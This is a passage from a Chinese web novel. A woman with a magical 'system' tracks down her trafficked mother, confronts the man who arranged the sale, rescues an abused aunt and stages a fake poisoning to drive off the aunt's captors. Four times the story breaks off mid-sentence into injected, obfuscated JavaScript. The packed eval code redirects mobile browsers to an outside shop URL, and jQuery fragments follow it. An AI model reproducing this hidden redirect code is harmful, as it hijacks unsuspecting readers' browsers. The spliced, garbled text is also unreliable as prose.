肖志远嫌弃地翻了个白眼:“得了吧爸,你这话也就哄哄外头那些不知情的人。要不我把小姨亲姐姐的情报——” 话音未落,肖志远就挨了一巴掌,不偏不倚,扇在他的大脑门子上,叫他痛得龇牙咧嘴,很是愤懑。 肖锡山冷哼一声走上前来:“小同志,我想我们之间可能有什么误会,可以坐下来好好谈谈吗?” 崔六没有说话,她在菜场的时候,看到了不少社员头上的西瓜,其中就有关于肖锡山的桃色新闻。 只是奇怪,肖家人的头上居然什么也没有,难道他们也算她的家人? 这不对吧。 算了,先说正事。 她站在路口,迎着风,冷笑道:“谈什么?谈你跟你们公社会计的权色交易吗?” 什么?肖锡山瞬间吓得脸色煞白:“我听不懂你在说什么?” “听不懂没关系,你慢慢琢磨,我走了,我还要回去写稿子呢。”崔六捂好了丝巾,扭头就走。 吓得肖锡山赶紧求饶:“小同志,你等等!” 崔六回头:“我的时间很宝贵,如果你想狡辩,大可不必。逼急了我把你——” “好好好,不狡辩,绝不狡辩。你想怎么样,你说吧。”肖锡山妥协了,有把柄落在别人手上就是倒霉。 崔六诈了一手:“闵铁牛跟我说了,当初卖掉丰家姐妹,是你出的主意,也是你联络的人牙子。目前闵家姐妹已经找到了闵铁牛手里的那份卖身契,只是不知道她们的妈妈到底去了哪里。如果你能如实交代,并且帮忙把人找回来,我可以网开一面,不再曝光你们。” “你先告诉我,你到底是谁?为什么要为闵家姐妹出头?”肖锡山蹙眉打量着这个女同志,隔着丝巾,看不真切她的五官,可是她的那双眼睛雪亮,有种洞穿人心的魔力。 他怀疑她可能真的掌握了什么证据,那么,该怎么做,取决于她的身份。 崔六继续诈他:“她们不是有个妹妹叫闵翠柳吗?闵翠柳嫁给了一个军官,叫楚泽林。不巧,我爱人是楚泽林的战友。我是去喝喜酒的时候知道这件事的,自然要帮她们姐妹出头。至于我到底是谁,你不必知道。你只要知道我有部队的人脉就行了。” 说着,崔六打开帆布包,从系统空间里掏出楚泽林的军官证,没亮姓名,只亮了证件的封面。 那肖锡山立马怂了,捏了把冷汗,道:“同志,我想说,闵铁牛的话不全是真的,具体怎么回事,我可以跟你慢慢讲,但你需要答应我一件事。” 崔六挑眉:“你不会是想拖延时间,悄悄弄死我吧?我可告诉你,我爱人也是咱们县里的,他正好在家休探亲假呢,等会我要是回不去,你小心他跑到你家里来要人!” 肖锡山哪儿敢啊,只得一个劲地说好话:“同志,是这样的,你知道咱们县的肖主任吧?只要你不再宣扬这件事,我愿意介绍肖主任跟你爱人认识。今后你和你爱人但凡有什么需求,尽管开口。” 崔六不想把肖家的人逼得太狠,狗急了还跳墙呢,到时候真咬她几口,不划算。 于是她故作矜持地沉思片刻:“好吧。你说,只要你能帮忙把丰霈找回来,其他的好商量。” 肖锡山赶紧如实招来,简而言之,买走丰霈的人牙子确实是他介绍的,可他不是主动的,是闵铁牛拜托他做的,还承诺交易结束分给他三块大洋。 他当时急等着用钱,就答应了。 那个女人姓范,是解放前本县出了名的老鸨,被卖到她手底下的女人,没有几个可以活着离开的。 至于闵铁牛为什么要把自己的老婆卖给姓范的老鸨,肖锡山尴尬地解释道:“还能为什么?嫌弃丰霈生的都是赔钱货呗。你也知道,我们农村人没有男丁怎么顶门立户?其实这都是人之常情,只是不过,过不下去应该好聚好散,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541675|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是买卖人口,对吧小同志?其实这事我也很后悔,尤其是后来我跟丰霈的妹妹丰雯成了一家人,我……你就看在丰雯跟我生育了五个孩子的份上,网开一面吧。我要是进去了,丰雯的这五个孩子也得遭殃。” 崔六没有说话,她在问系统,为什么肖家人头上没有西瓜。 系统理直气壮:“说好的,家人头上不显示西瓜。除非你觉得小姨不算家人。” “那肖锡山和他的五个孩子也算我的家人?” “要看你认不认了,伦理上来说,只要你认丰雯这个小姨,丰雯也认肖家的人,那就算你的家人。这是从社会关系的角度考量的,不是纯粹以血缘关系界定的。” 崔六无话可说。 她看着肖锡山,态度冰冷:“行了,少废话,带我去找丰霈。你肯定知道她在哪里,毕竟她的妹妹在你家,你没有道理不关心她的去向。” 肖锡山沉默了,他很为难,真要是说出来,只怕要得罪一大片的人。 可是这个女同志又是个军嫂,她真有部队的人脉,一旦事情被捅到部队那里,只怕还要连累县里的那位。 无奈,两害相权取其轻,他只能硬着头皮:“我知道,但我需要核实一下,我跟那边已经有两年没有联系过了。” “需要多久?”崔六怀疑他想拖延时间。 肖锡山讪讪的:“你不用担心我拖延时间,我是真的不常跟那边联系。我有那边的电话号码,我可以去供销社当场打给你听。” “那走吧。”崔六看看时间,十二点多了,她还没吃饭,有点饿,不过眼下是顾不得了。 一行人来到红星菜场的供销社,肖锡山当着崔六的面,拨通了一个外地的号码。 接通后,他熟稔地开口:“我找范美云。” “请问你怎么称呼?”对面很是客气,似乎这个范美云很有来头。 “就说老肖找她。”肖锡山握紧了电话线,也不知道范美云有没有时间。 对面客气道:“好的,我去通知她给你回电话,你的号码是?” “不用,十分钟后我再打过来。” “好的,请稍等。” 十分钟后电话再打过去,话筒那头响起一个粗哑的老女人声音:“老肖?又要给我介绍什么尖货吗?” 肖锡山就知道,这个老东西每次一接电话就会来这么一句。 他其实只介绍了丰霈一个,这下真是跳进黄河也洗不清。 只得尴尬道:“丰雯快不行了,一直哭,我知道她是想丰霈了,可以让丰霈过来见她最后一面吗?” 35. 寻妈5 老鸨是没有人性的,她们只认钱,贪得无厌。 所以,不管肖锡山在电话里说得有多么情真意切,范美云就一句话:“你要她回去,万一她出卖我怎么办?” 肖锡山无奈,问道:“那你想怎么办?交钱?现在是新中国,不搞那一套了。” “那是你们没本事。”范美云长袖善舞,早就打点好了相关的利益方,根本不在乎什么新不新,旧不旧的。 在她触手可及的范围内,那就只有一个规矩:她说了算。 肖锡山无计可施,只得问她:“要多少?” “一千块。”范美云这些年从丰霈等受害者身上剥削的何止一千块,一百个一千块都不止了。 然而这对她来说,都是她应得的,她是绝对不会退让的。 这一切都在肖锡山的预料之中,只得讪讪的说了声:“那我想想办法,看看能不能筹到这么多钱。” 挂断电话,他默默地看向崔六:“我尽力了。要不你自己去找她,不过我可把丑话说在前头,一来,介绍信不好打,除非你在那边有亲戚朋友;二来,你去了也没用,你玩不过那些地头蛇;三来,这么多年了,姓范的肯定给她找了婆家,她婆家不肯放人的话,你也不好硬抢,容易出事。总之,我真的无能为力,我可以把地址写给你,你别去省里曝光我就行。” 崔六掏出纸笔:“我怎么知道你没有撒谎?” “简单,我要是撒谎,你回来曝光我呗。你有部队的背景,还怕我跑了不成?”肖锡山接过纸笔,想了想,补充道,“你要是不信,我可以带你去县里找肖主任,让他做个见证人。” “不用了,你写吧,我自己去找。”崔六不怕事,她相信国家,相信党,也相信这个年代的妇联,是真心实意会为妇女做事的。 接过地址,她离开了红星公社,没有自行车,公交车也没来,她就走运河边上。 路过一个码头的时候,她向正在接近的运沙船招了招手。 开船的是夫妻档,这会儿丈夫正在船头把控航向,妻子在船尾洗衣服。 崔六扬声问道:“大哥,去哪儿啊?可以让我搭个便船吗?” “去花月公社,他们公社在修蚕室。你顺路吗?”开船的大哥热情地回答。 崔六很开心:“顺路,我去春江公社,那我跳了?” “小心点。”大哥再次降低了船速,并且把船身往码头这边贴。 崔六向后退,起跑,加速,跳! 身段儿轻盈,宛如脱兔。 那大哥不禁刮目相看:“可以啊小同志,家里也是开船的吧?” “不是,我爸负责鱼塘的,我们姐妹经常去帮忙。”崔六打开帆布包,掏出两毛钱,这是从红星公社去花月公社的公交车票钱。 大哥不肯收,笑道:“顺路的事,又不用额外做什么,不用客气,你要是有空,就去陪我媳妇说说话吧,她整天跟我念叨,跑船的时候无聊,我也是没办法,家里孩子多啊,囊中羞涩,等我攒够了钱,给她买个收音机就好了。” 崔六很是感慨,这大哥真好,真疼老婆,既然他不收车票钱,那她就送人家一台收音机好了。 她打开帆布包,假装寻找东西,趁机在系统商店买了个巴掌大小的收音机出来,笑着说道:“我这个正好淘汰下来了,就送给嫂子吧。对了大哥,你跟嫂子怎么称呼?” “我叫毛群峰,我媳妇叫邢向红,你呢?” “原来是毛大哥,叫我翠柳就行。”崔六笑着转身,向船尾走去。 毛群峰却叫住了她:“等等,这收音机不便宜吧?多少钱?” “不用了大哥,真的。我家里还有呢。”崔六担心他们两口子不肯收,索性扯一扯楚泽林的大旗,“我爱人是个军官,不缺这个。天这么热,你们好心捎我一程,我也没别的感谢你们,拿着吧。” 毛群峰还想再说什么,船尾的邢向红扬声道:“老毛,翠柳妹妹一片好心,你就别啰嗦了,咱写个欠条吧。咱不能白拿人家的,先用着,攒够了钱和票再还她就是。” “哎,知道了媳妇儿,你写吧,我开船,等会靠岸了我签字就行。”毛群峰很是得意,不愧是他老婆,就是聪明。 这对平凡又朴实的夫妻,着实让崔六感慨,要是她跟姐姐们的爸妈也这样恩爱就好了。 可惜啊,这世上的很多事情,都是不如人意的。 到花月公社靠了岸,崔六接过刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550268|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚签好字的欠条,准备回去烧了。 刚走到公交站牌处,就看到一辆老旧的铁盒子摇摇晃晃地靠了过来。 赶紧上车。 两个公社挨得近,只要五分钱的车票钱,崔六递了一张毛票过去,售票员找零,一抬头,才发现这人是她的弟媳妇。 立马诧异地问道:“翠柳,你来这边办事吗?” 崔六也没想到会坐上大姑姐卖票的这辆车,她扯了个谎:“我们姐妹四个不是想盖房子吗,我到处转转,看看材料的价钱哪里更实惠。” “怎么,你都嫁人了还要出钱出力啊?这不合适吧?”楚稻苗不高兴了,什么人啊这是。 她那弟弟一直昏迷不醒,弟媳妇不说寸步不离地贴身照顾,起码也不能为了娘家姐姐的事情瞎忙吧? 她很不满,准备找时间回去说说她妈,让她妈好好管管这个翠柳。 崔六不想在车上吵架,影响不好,便反问了一句:“大姐,要是麦苗姐被人欺负了你管不管?” “废话,那是我亲妹妹,我不管谁管?”楚稻苗压根没有思考,本能地做出了回答。 崔六笑了:“哦,我那三个姐姐也是我的亲姐姐。” 说完,她便向车子后面走去,找了个空座坐下,闭目养神。 楚稻苗被她呛住了,找不到反驳的话,只得憋了一路的气,到了春江公社车站,便嚷嚷着让乘客赶紧下车。 搞得好像这车是她家的一样。 崔六没有搭理她,磨磨蹭蹭地最后一个下了车,反正这里是终点站,等会还要开到旁边的加油站去加油,爱咋地咋地。 楚稻苗气死了,恨不得现在就跟下车,扯着这个弟媳妇回去,找她妈妈好好理论理论。 可惜了,她要是旷工,会被扣工资的,只能等到下班之后再说。 * 崔六回到毓秀村,找到姐姐们的住处,反馈了她收集来的信息。 三个姐姐几乎没有犹豫,异口同声道:“我去我去!再难也要把咱妈找回来!” 至于她们的聋哑小姨,居然石破天惊的,突然开口说话了:“我……我也去。” 姐妹四个面面相觑,一时连话都不会说了。 36. 姐妹 聋哑人突然开口说话,这放在任何时候都是石破天惊的一件事情。 姐妹四个一时脑子没转过来,只得大眼瞪小眼。 最终还是闵橙萱先开的口:“小姨,你是装的?” 丰雯的眼泪唰的一下滚落下来。 滴滴答答,落在盛夏燥热的地面上,溅起粒粒尘埃。 崔六不明白:“为什么?你这么大人了,有手有脚的,你可以跑啊,你为什么要装聋作哑呢?” 丰雯憋屈地咬着嘴唇,迎着几个外甥女诧异的目光,咬咬牙,转身进了房间。 单薄的衬衫褪去,露出她狰狞的伤口:“我……跑了几十次,都……都被抓回去了。” “那你可以找妇联啊。”闵红梅无法理解,妇联可不是摆设,实在不行,可以去找公安特派员啊。 丰雯的眼泪更是不要钱的往下砸:“一……一伙儿的。” 崔六并不怀疑这句话,那个李琴一开始就不是很愿意帮忙,是她拿出军属身份威胁,李琴才妥协了。 至于这个小姨…… 崔六默默地捡起床上的衬衫,给她披上:“有人看着你是吗?邻居说肖家以前有个老太太,很凶。三个月前刚死。” 丰雯哭着点头,这些年,那个死老太太寸步不离地盯着她,好不容易熬到那老太婆死了,这三个月她一直在想办法跑。 可是没办法,儿媳妇接了死老太婆的力,盯她跟盯贼一样的。 她除了继续装聋作哑,还能怎么办呢? 她哭着把扣子扣上,不知道该怎么解释。 崔六拿起手帕给她擦了擦:“你肯定不是一开始就哑巴吧,什么时候开始装聋作哑的?” 提及往事,丰雯的双肩止不住颤抖,哆嗦了半天,才鼓起勇气说道:“鬼……鬼子进村的时候。他们……他们把妈妈……把妈妈……” 姐妹四个全都听懂了,原来小姨是小时候被吓破胆了,所以才…… 一时间,全都红了眼眶,没有人再忍心责备她。 姐妹四个围成一圈,将小姨护在中间。 “别怕小姨,你有我们,以后会好的。”闵红梅哭得稀里哗啦。 闵橙萱眼里噙着泪,却倔强地不让眼泪掉下来:“鬼子的仇,先烈们已经替我们报了!你和妈妈的仇,就交给我们姐妹四个来报!” “对,交给我们了小姨。你告诉我们,你还记得我们妈妈的事情吗?你是什么时候跟我们妈妈失散的?是谁把你卖给肖家的?”闵金菊很关心这件事的来龙去脉。 至于鬼子的事,现在鬼子都龟缩到小岛上去了,她们能做的只能是当好新中国的螺丝钉,让这个国家强大起来,富裕起来。 积蓄力量,才能反击回去。 毕竟,百世之仇,犹可报也! 崔六沉默了很久,忽然好奇:“闵铁牛没少往肖家跑吧,你知道他是你姐夫吗?” 问到这个,丰雯便不受控制地嚎啕大哭起来。 崔六赶紧出去把篱笆门关上,又叮嘱了小狗一声,也不知道小狗能不能听得懂。 回到房间,姐妹四个等待小姨把往事说个清楚。 丰雯哭了好久,嘴唇都咬破了,这才开口。 简而言之,丰霈是家里的老大,下面还有两个妹妹,一个弟弟。 他们的爸妈全都死在了鬼子的刀枪之下,是姐姐把他们三个小的藏在了刚挑了粪的茅坑里,又拿石板盖上,这才逃过一劫。 可是姐姐自己惨遭毒手,年仅12岁的姐姐,被鬼子们…… 变态的鬼子们凌辱了姐姐,最后提起刺刀,捅穿了姐姐的身体。 好在姐姐命大,被丢进乱葬岗之后,居然奇迹般地存活了下来。 姐姐拖着浑身的血迹,一路往家里爬,生怕弟弟妹妹们也惨遭毒手。 爬到半路,正好赶上八路军过来救援,这才捡回一条命。 苏醒之后,她立马摘了挂点滴的针,跑回去找弟弟妹妹。 当时距离事发已经过去了三天,三个小的一直蜷缩在茅坑里,饿得不省人事。 还好,还有一口气。 而且八路军安排了一个小炊事员陪着丰霈一起回来,帮了大忙。 可是,他们三个受了刺激,苏醒之后除了老二丰霏,老三丰雯跟老四丰霄全都吓破了胆,再也不敢开口说话了。 他们好像被封印在了那一天,生怕一开口,就会引来鬼子,就会看到爸妈惨死在刀枪之下,就会听到穿着靴子的鬼子,在附近来回走动。 就会听到姐姐挣扎呼救,以及那刺刀戳破姐姐的血肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554009|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将姐姐无情摧残的声音…… 不过,丰雯只是不敢说话,不是不会说,她一直在留心周围人怎么说话的,真到了完全没有其他人在场的时候,她会偷偷的学舌几句。 所以她的聋哑,不是肖家造成的,是鬼子吓出来的。 后来,丰霈就这么带着弟弟妹妹,加入了抗日敌后根据地,帮那些大姨大婶们带孩子、洗衣服,居然也把三个弟弟妹妹给拉扯大了。 期间还跟当时赫赫有名的老绣娘拜师学艺,成了闻名乡里的绣娘。 直到谈婚论嫁的时候,丰霈都没有放弃三个弟弟妹妹。 而丰霈跟闵铁牛结婚的条件之一,就是带着自己的弟弟妹妹一起生活。 没想到时运不济,赶上了大轰炸,混乱中二姐丰霏跟小弟丰霄走散了。 最后只剩下丰雯跟着丰霈一起生活。 到了丰霈结婚前夜,又出事了。 闵铁牛忽然找过来,说鬼子又要来扫荡了,让姐妹两个赶紧收拾收拾,跟他逃亡。 逃到半路的时候,丰雯被人一棍子敲晕,再次醒来的时候,就成了肖家的人。 肖锡山正睡在她旁边,两人全都□□。 丰雯找不到姐姐,又被卖身契和死老太婆控制着,无法脱身,只得暂时苟活下去,等待机会。 没想到,一等就是这么多年。 说完伤心事,她已经哭累了,最后只剩下沉默。 姐妹四个也都陷入了无尽的伤感与愤怒。 你不能要求一个被吓破胆的人,可以在绝境中生出无限的勇气,推翻压在头上的大山。 实际上,活下去,就已经用尽了全部的力气。 其他的,也只能尽人事听天命。 崔六深吸一口气,打破了死寂:“我怀疑,敲晕小姨的人就是闵铁牛安排的。他只想要咱妈绣娘的风光身份,不想要小姨这个拖油瓶。当然,我并不觉得小姨是拖油瓶,战乱年代,姐妹之间互相扶持,再正常不过,何况小姨当时还没有成年。即便是现在,咱们姐妹四个不也是不肯放弃任何一个吗?” “所以?”闵橙萱抬起头来,她预感到这个妹妹有重要的决策要说。 崔六迎着她的目光,深吸一口气:“先去找范美云要人,回来之后,送闵铁牛坐牢!” 37. 要人1 崔六的提议,姐妹几个都没有意见。 唯一争执不下的就是,谁去? 崔六想去,三个姐姐却全都不同意,一来,她刚结婚不久,丈夫又是个植物人,把丈夫丢下不管,不合适;二来,这一去还不知道要耗费多少时间,万一拖个一年半载的,搞不好楚家就不要这个儿媳妇了。 就算没有领证,也不能这么乱来。 最终商量了一圈,还是让老二老三过去,老大留在家里继续挣钱,顺便照顾小姨,小姨在肖家做了二十几年的生育机器、全职保姆,实在是太可怜了,总不能被姐妹几个解救回来之后,还要再受那样的委屈。 不过崔六还是不放心,问道:“强龙压不过地头蛇,你们有没有想过,万一要不会人来,反倒是把你们两个也搭进去呢?” 毕竟那个范美云,既然可以卖了她们的妈妈,应该也有能力卖了她们。 姐妹几个都考虑过这个问题。 闵红梅愁云不展,想不到解决的办法。 闵橙萱沉默不语,但眼神坚定,似乎心里已经有了主意。 闵金菊则直接开口:“那还不简单吗?直接去他们省里找妇联,动静闹得越大越好!最后再找他们单位,只要是合规合法的单位,就不会纵容默许这种害群之马的存在。” 崔六点点头:“可以是可以,不过,你们要考虑一个情况,万一那个范美云也认识他们妇联的人呢?” 闵红梅很着急,一把握住她的手:“那你有什么好办法吗?” “我想现在本省造势。”崔六的计策分为三步走,“第一,我写篇稿子,把小姨的经历刊登出来,文中提一下咱们的妈,结尾写小姨踏上了寻亲之路。那些看报的人肯定会好奇,这个女同志的姐姐会不会比她幸运一点,并没有遭遇拐卖妇女这样的悲剧?时隔二十几年,姐妹俩会不会相逢?如果姐姐的遭遇比妹妹更加不幸,那些加害者会不会得到惩罚?” “这个办法好。”闵橙萱非常赞同,“我本来想直接报案的,不过那样容易打草惊蛇,你的办法更好一点。” “不,要报案。”崔六解释道,“第二步就是报案。你们直接过去根本斗不过当地的势力,只能报案,要求本地的公安陪同你们前去。至于证据——” 崔六拿出卖身契,这就是不得不立案的证据。 闵橙萱没意见,只是好奇:“公安特派员人手不够,未必会派人跟我们一起过去吧?” “那就是第三步。”崔六把卖身契收好,“第三步要等前两步走完,看效果。如果第一步引起了广大的反响,那么第二步就好走多了,第三步照走不误,但那只是锦上添花,不再是决定性的一步。如果前两步不顺利,那就只能靠第三步了。第三步要等几天,等我跟楚泽林领了结婚证再说。” 闵橙萱立马明白过来:“你想去武装部反应情况?” 崔六点点头:“不全对,我不光要去武装部,还要去妇联,去省里的妇联。我要提供我投稿的证明,我要拿出卖身契,证明我就是那个受害者的女儿。到时候我就说我结婚了,一个人忙不过来,想找到娘家妈妈,帮我一起照顾昏迷不醒的抗洪英雄。” 闵橙萱不禁拍手叫好:“好!就这么办!” 闵金菊也激动不已:“对,我们姐妹过去肯定很难把人找回来,可一旦有公安一起过去,甚至省妇联也愿意帮忙,那就不一样了。” “行,那就这么办。我先回去写稿子,这件事要谋划周全了再行动,你们在外面先不要声张,以防走漏消息。”崔六看了眼小姨,“对了,肖家的人不是也追你们了吗?没追上?” 闵金菊解释道:“我们骑车跑得快,他们又不知道我们搬来这里了,估计先去了碧云村。” “也不知道闵铁牛回去没有,万一等会他们一起过来闹事就不好了。这样,小姨跟我走,我那边正好还有空房间。”崔六决定亲自出手,先把人护住了再说,其他的以后慢慢交涉。 闵橙萱却不同意:“不行,你不能什么都自己扛,妈妈是大家的妈妈,小姨也是大家的小姨。你刚结婚,不要带亲戚回婆家,影响很不好。” 闵红梅也点头:“交给我们就行了,王轲不是住在隔壁吗?实在不行,找他帮忙。” “不用那么费劲。”闵金菊摇头,“等会他们要是过来,我自然有办法吓退他们。” 崔六知道三姐心思细腻,应该会有不错的办法,只是她还是担心,毕竟家里的都是女同志,体力上吃亏。 她还是问了一声:“姐你准备怎么做?” 闵金菊直接跑去厨房,拿了把菜刀过来:“他们敢闹,我就动手!” 崔六忍不住扶额,这不是自损一千,伤敌为零的办法吗? 而且要是真的闹起来,一旦菜刀被肖家的夺走,说不定家里的几个女同志都要遭殃。 思来想去,崔六提议道:“我们分头行动,去村里找找有没有那种长得像敌敌畏瓶子的醋瓶子,或者酱油瓶,酒瓶,都行。” 闵橙萱秒懂:“没错,反正农药标签是农技站的人手写的,我们找个相似的瓶子,手写一个贴上去,假装是敌敌畏,让小姨喝药!” 崔六点头:“对。我去卫生所,跟那边说一声,假装抢救一下小姨,时间拖久点。到时候让公社的宣传干事也去拍摄采访,肖家还想在红星公社混下去的话,只能放手。” 闵橙萱没意见:“好,分头行动,我跟大姐出去找瓶子,老三你陪着小姨,她刚到这里,还不熟悉,家里不能没有人。翠柳你去卫生所。走!” 出了院门,闵红梅向东,闵橙萱向西,崔六向北,各自张罗去了。 很快,闵红梅便找到了两个合适的醋瓶子,给了对方两毛钱。 闵橙萱倒是没找到,但她找到了两个敌敌畏的瓶子,只买了上面的标签。 姐妹俩回来后,把瓶子跟标签合在一起,又往瓶子里装了点凉白开,静候闹事的上门。 果然,肖家找错了地方,去了碧云村,下午四点的时候,终于在闵铁牛的带领下找了过来。 崔六已经离开了卫生所,但她需要装作没有参与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556249|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子,所以她先回了趟婆家,给楚泽林擦洗身体,翻身,帮忙排泄。 正忙着,钱国珍吭哧吭哧跑过来喊她:“翠柳啊,不好了,你那三个姐姐找回来一个什么小姨,结果你们小姨的婆家来了人要带她走,你们小姨想不开,喝了敌敌畏,你快去看看吧。” 崔六赶紧把楚泽林放平:“国珍姐你先去,我洗把手就来。” 钱国珍却没走:“我等你,我骑了车,带你去卫生所。” “哎,来了。”崔六转身,叮嘱了狗子一声,“好好看门,回来给你带吃的。” 狗子汪了一声,好像真的听得懂似的。 崔六坐在钱国珍的车子后面,很快赶到了卫生所。 那里的医护人员已经打点好了,有模有样地给丰雯抢救起来。 那丰雯也不傻,居然真的吐了点白沫沫出来,跟真的一样。 肖家的人都吓傻了,徘徊在卫生所门外,不敢进来。 眼看着来了个穿着公安制服的特派员,肖家众人觉得大事不妙,齐刷刷调头,准备开溜。 闵家姐妹立马拦住了他们,非得要个说法。 来的不是别人,正是在附近熟悉地形和摸排住户情况的王轲。 他毕竟刚调过来不久,虽然以前也会来王露和王霞家里串门,但毕竟不是本公社的人。 正好听到周围的住户说有个妇女喝了农药,便过来看看。 没想到闵家姐妹也在,一问才知道,喝药的是她们小姨,还是个身世凄惨的小姨。 王轲赶紧拦住了肖家的人:“都不许走!红梅姐,你快去找我小姨,表嫂,你去人保组找方组长,再去武装部,让他们多叫几个民兵过来。” 崔六赶紧应了一声,借走了钱国珍的自行车。 肖家的人还想跑,奈何他们不是春江公社的人,而周围的居民,自然要听自己公社特派员的话,很快便围成了人墙,把肖家的人堵在了卫生所门口。 很快,王霞来了,方组长来了,民兵连也来了。 公社的宣传干涉也架着相机,给足了肖家排面。 这一闹,肖家成了过街老鼠,人人喊打。 还好丰雯最后“被抢救过来”了。 一直闹到晚上八点多,肖家众人才被急呼呼赶过来的肖锡山领回去了。 崔六全程站在人群最后面,也没有开口,免得被肖锡山父子认出来。 不过,肖锡山的大儿子肖志远还是回头看了她一眼。 走远了,肖志远才跟肖锡山嘀咕了一句:“爸,你有没有注意到闵家四姐妹里头最小的那个?” 肖锡山的注意力都在跟闵家大姑娘吵架上面了,压根没有注意到后面的人,不禁好奇:“没注意,怎么了?” 肖志远也不太确定,毕竟之前去他们家闹事的那个蒙面女人,一直凶神恶煞的,把他们父子拿捏得死死的,而这次那个闵家四姑娘,却全程跟看戏的一样,一句话都不说。 他带着一丝困惑:“四姑娘的眼睛,跟那个蒙面的女人一模一样。” 38. 要人2 肖锡山了解自己的儿子,是个见色忘义的蠢东西。 在这小子结婚之前,就订过一次婚,后来他去女方家里谈婚礼怎么操办的时候,女方的同学正好也在。 那是个特别漂亮的女同志,身段儿也好,嘴巴也甜。 他就这么不可自拔的移情别恋了。 退了婚,彩礼也没能要回来,好在那女生没看上他,最终没成。 要不然,这世上又要多一个被登徒子祸害的好女人。 再后来又相亲几次,才选上了现在这个媳妇。 肖锡山是不满意的,奈何这小子只看皮囊,不看灵魂。 而现在,这小子没来由的因为一双眼睛注意到一个陌生的女同志,即便当老子的没注意到那女同志长什么样,也能猜到对方一定是个大美人。 要不然,哪能入得了他儿子的法眼。 他立马提醒道:“别闹,你亲妈是谁你不知道吗?闵家那四个姑娘,可都是你的姨表妹!” 肖志远无语了:“我没有别的意思,爸你想哪儿去了。” “你少来吧,你屁股一抬我就知道你要放什么屁。”肖锡山嫌弃得不行。 肖志远只得闭嘴,算了,以后有机会再接触看看吧,眼下还是先把这场闹剧平息了再说。 不过这一闹,楚稻苗赶回娘家的时候没见到崔六,倒是省去了一场口水之战。 楚稻苗心里老大不痛快,准备等下次回来再好好做做这个弟媳妇的思想工作。 * 崔六的稿子寄出去了,还没等到回信,部队那边的答复已经到了。 不过,结婚照怎么办呢? 只能给崔六单独拍了一张,剪裁下来,再跟楚泽林的单人照拼贴在一起,用相机拍下来。 真是让人啼笑皆非。 有了结婚证,崔六才真的有了已经结婚的实感,给楚泽林擦洗身体的时候,也放肆多了。 捏捏肱二头肌,可惜因为长期卧床,这肌肉有点萎缩了。 她便握住楚泽林的胳膊,来回弯曲伸展,多帮他动一动。 再摸摸腹肌,也有点不那么硬朗了,无奈,她只好把人扶起来,坐在他背后,把他推起来,做躺卧起座。 正忙着,王露在外面喊她:“翠柳啊,小何找你。” 崔六赶紧把人放平,找出七张工业券,出去拿给了小何。 “抱歉抱歉,最近太忙,忘了,给你。” 小何笑着接过工业券,转身拿了封信和汇款单给她:“省报编辑部的,还有稿费。可以啊翠柳,你都能在省报发文章了,真了不起。” 崔六笑着收下恭维,签了字盖了章,赶紧拆开信件看了看。 省报编辑部非常重视这篇文章,已经采用并安排在明天的版面上发表,同时编辑部希望得到一个明确的回复,这个故事是杜撰的还是真人真事。 那当然是真人真事了,就算有一点艺术加工,那也是正常的文学创作范畴,不算杜撰。 崔六赶紧回了信,下午就去把信寄了,再把稿费领了,虽然只有十几块钱,但对于农村人来说,这可是一笔巨款了。 回到家里,崔六收拾收拾,准备去打介绍信,去省城一趟。 王露早就知道了她的计划,没有阻止,只是担心她一个人去不安全,便把在外面鬼混的楚淙林叫了回来,让他照看几天楚泽林,金钱上一定不会亏待他。 楚淙林老大不乐意,哭哈哈哈的绷着个脸,也不想想他小时候他哥是怎么护着他的。 王露看得直来气,忍不住跟崔六嘀咕起来:“翠柳啊,要不还是我去吧,你在家照看泽林,淙林这个狗脾气,估计是好不了了。” 崔六犹豫半天,还是同意了,也罢,楚泽林已经出现了肌肉萎缩的状况,一定要加强肢体活动才行了。 至于去省里求助,以王露的身份也没问题,毕竟她是军官的亲妈,妇联和武装部都要给她三份薄面的。 第二天一早,王露便出发了。 火车坐到省城,况且况且地颠簸了大半天。 